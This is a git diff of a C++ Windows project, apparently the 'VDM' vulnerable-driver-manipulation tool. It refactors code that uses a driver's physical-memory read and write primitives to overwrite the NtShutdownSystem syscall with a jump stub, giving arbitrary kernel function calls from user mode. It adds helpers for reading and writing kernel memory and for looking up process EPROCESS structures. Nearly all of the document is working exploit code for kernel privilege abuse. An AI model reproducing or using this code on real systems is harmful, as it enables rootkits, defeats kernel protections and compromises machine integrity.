diff --git a/VDM/VDM.vcxproj b/VDM/VDM.vcxproj index 2e7c874..d516af0 100644 --- a/VDM/VDM.vcxproj +++ b/VDM/VDM.vcxproj @@ -167,7 +167,7 @@ - + diff --git a/VDM/VDM.vcxproj.filters b/VDM/VDM.vcxproj.filters index 89b24b4..6a8f0ed 100644 --- a/VDM/VDM.vcxproj.filters +++ b/VDM/VDM.vcxproj.filters @@ -37,11 +37,11 @@ Header Files\util - - Header Files - Header Files\vdm + + Header Files + \ No newline at end of file diff --git a/VDM/main.cpp b/VDM/main.cpp index 058e2be..4d36468 100644 --- a/VDM/main.cpp +++ b/VDM/main.cpp @@ -1,4 +1,4 @@ -#include "vdm_ctx/vdm_ctx.h" +#include "vdm_ctx/vdm_ctx.hpp" int __cdecl main(int argc, char** argv) { @@ -9,13 +9,27 @@ int __cdecl main(int argc, char** argv) return -1; } - vdm::vdm_ctx vdm; + // read physical memory using the driver... + vdm::read_phys_t _read_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::read_phys(addr, buffer, size); + }; + + // write physical memory using the driver... + vdm::write_phys_t _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::write_phys(addr, buffer, size); + }; + + vdm::vdm_ctx vdm(_read_phys, _write_phys); const auto ntoskrnl_base = reinterpret_cast( - util::get_module_base("ntoskrnl.exe")); + util::get_kmodule_base("ntoskrnl.exe")); const auto ntoskrnl_memcpy = - util::get_kernel_export("ntoskrnl.exe", "memcpy"); + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str()); std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load()); diff --git a/VDM/util/nt.hpp b/VDM/util/nt.hpp index 21c87d4..0534c04 100644 --- a/VDM/util/nt.hpp +++ b/VDM/util/nt.hpp @@ -26,4 +26,10 @@ typedef struct _RTL_PROCESS_MODULES RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; -typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; \ No newline at end of file +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +using PEPROCESS = PVOID; +using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)( + HANDLE ProcessId, + PEPROCESS* Process +); \ No newline at end of file diff --git a/VDM/util/util.hpp b/VDM/util/util.hpp index c7f87d7..060a796 100644 --- a/VDM/util/util.hpp +++ b/VDM/util/util.hpp @@ -59,7 +59,7 @@ namespace util return &nt_headers->FileHeader; } - __forceinline auto get_module_base(const char* module_name) -> std::uintptr_t + __forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t { void* buffer = nullptr; DWORD buffer_size = NULL; @@ -99,7 +99,7 @@ namespace util return NULL; } - __forceinline auto get_kernel_export(const char* module_name, const char* export_name, bool rva = false) -> void* + __forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void* { void* buffer = nullptr; DWORD buffer_size = NULL; diff --git a/VDM/vdm_ctx/vdm_ctx.cpp b/VDM/vdm_ctx/vdm_ctx.cpp index 59e3be7..6a47462 100644 --- a/VDM/vdm_ctx/vdm_ctx.cpp +++ b/VDM/vdm_ctx/vdm_ctx.cpp @@ -1,10 +1,13 @@ -#include "vdm_ctx.h" +#include "vdm_ctx.hpp" namespace vdm { - vdm_ctx::vdm_ctx() + vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) + : + read_phys(read_func), + write_phys(write_func) { - // if we already found the syscall's physical page... + // already found the syscall's physical page... if (vdm::syscall_address.load()) return; @@ -13,7 +16,7 @@ namespace vdm DONT_RESOLVE_DLL_REFERENCES)); nt_rva = reinterpret_cast( - util::get_kernel_export( + util::get_kmodule_export( "ntoskrnl.exe", syscall_hook.first, true @@ -34,9 +37,19 @@ namespace vdm search_thread.join(); } + void vdm_ctx::set_read(read_phys_t& read_func) + { + this->read_phys = read_func; + } + + void vdm_ctx::set_write(write_phys_t& write_func) + { + this->write_phys = write_func; + } + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const { - const auto page_data = + const auto page_data = reinterpret_cast( VirtualAlloc( nullptr, @@ -49,11 +62,8 @@ namespace vdm if (vdm::syscall_address.load()) break; - if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) - { - std::printf("[+] failed to read phys...\n"); + if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) continue; - } // check the first 32 bytes of the syscall, if its the same, test that its the correct // occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)... @@ -63,7 +73,6 @@ namespace vdm reinterpret_cast( address + page + nt_page_offset)); } - VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); } @@ -84,11 +93,11 @@ namespace vdm std::uint8_t orig_bytes[sizeof shellcode]; // save original bytes and install shellcode... - vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); + read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, shellcode, sizeof shellcode); auto result = reinterpret_cast(proc)(); - vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result == STATUS_SUCCESS; } diff --git a/VDM/vdm_ctx/vdm_ctx.h b/VDM/vdm_ctx/vdm_ctx.h deleted file mode 100644 index 6401048..0000000 --- a/VDM/vdm_ctx/vdm_ctx.h +++ /dev/null @@ -1,64 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include - -#include "../vdm/vdm.hpp" - -namespace vdm -{ - // change this to whatever you want :^) - constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - - inline std::atomic is_page_found = false; - inline std::atomic syscall_address = nullptr; - - inline std::uint16_t nt_page_offset; - inline std::uint32_t nt_rva; - inline std::uint8_t* ntoskrnl; - - class vdm_ctx - { - public: - vdm_ctx(); - template - __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const - { - static const auto proc = - GetProcAddress( - LoadLibraryA(syscall_hook.second), - syscall_hook.first - ); - - static std::mutex syscall_mutex; - syscall_mutex.lock(); - - // jmp [rip+0x0] - std::uint8_t jmp_code[] = - { - 0xff, 0x25, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00 - }; - - std::uint8_t orig_bytes[sizeof jmp_code]; - *reinterpret_cast(jmp_code + 6) = addr; - vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); - - // execute hook... - vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); - auto result = reinterpret_cast(proc)(args ...); - vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); - - syscall_mutex.unlock(); - return result; - } - private: - void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; - bool valid_syscall(void* syscall_addr) const; - }; -} \ No newline at end of file diff --git a/VDM/vdm_ctx/vdm_ctx.hpp b/VDM/vdm_ctx/vdm_ctx.hpp new file mode 100644 index 0000000..5117b99 --- /dev/null +++ b/VDM/vdm_ctx/vdm_ctx.hpp @@ -0,0 +1,112 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include "../vdm/vdm.hpp" + +namespace vdm +{ + // change this to whatever you want :^) + constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + + inline std::atomic is_page_found = false; + inline std::atomic syscall_address = nullptr; + + inline std::uint16_t nt_page_offset; + inline std::uint32_t nt_rva; + inline std::uint8_t* ntoskrnl; + + using read_phys_t = std::function; + using write_phys_t = std::function; + + class vdm_ctx + { + public: + vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); + void set_read(read_phys_t& read_func); + void set_write(write_phys_t& write_func); + + template + __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const + { + static const auto proc = + GetProcAddress( + LoadLibraryA(syscall_hook.second), + syscall_hook.first + ); + + static std::mutex syscall_mutex; + syscall_mutex.lock(); + + // jmp [rip+0x0] + std::uint8_t jmp_code[] = + { + 0xff, 0x25, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00 + }; + + std::uint8_t orig_bytes[sizeof jmp_code]; + *reinterpret_cast(jmp_code + 6) = addr; + read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + // execute hook... + write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + auto result = reinterpret_cast(proc)(args ...); + write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + syscall_mutex.unlock(); + return result; + } + + template + __forceinline auto rkm(std::uintptr_t addr) -> T + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + T buffer; + this->syscall( + ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T); + + return buffer; + } + + template + __forceinline void wkm(std::uintptr_t addr, const T& value) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, (void*)addr, &value, sizeof T); + } + + __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS + { + static const auto ps_lookup_peproc = + util::get_kmodule_export( + "ntoskrnl.exe", + "PsLookupProcessByProcessId"); + + PEPROCESS peproc = nullptr; + this->syscall( + ps_lookup_peproc, + (HANDLE)pid, + &peproc + ); + return peproc; + } + private: + void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; + bool valid_syscall(void* syscall_addr) const; + + read_phys_t read_phys; + write_phys_t write_phys; + }; +} \ No newline at end of file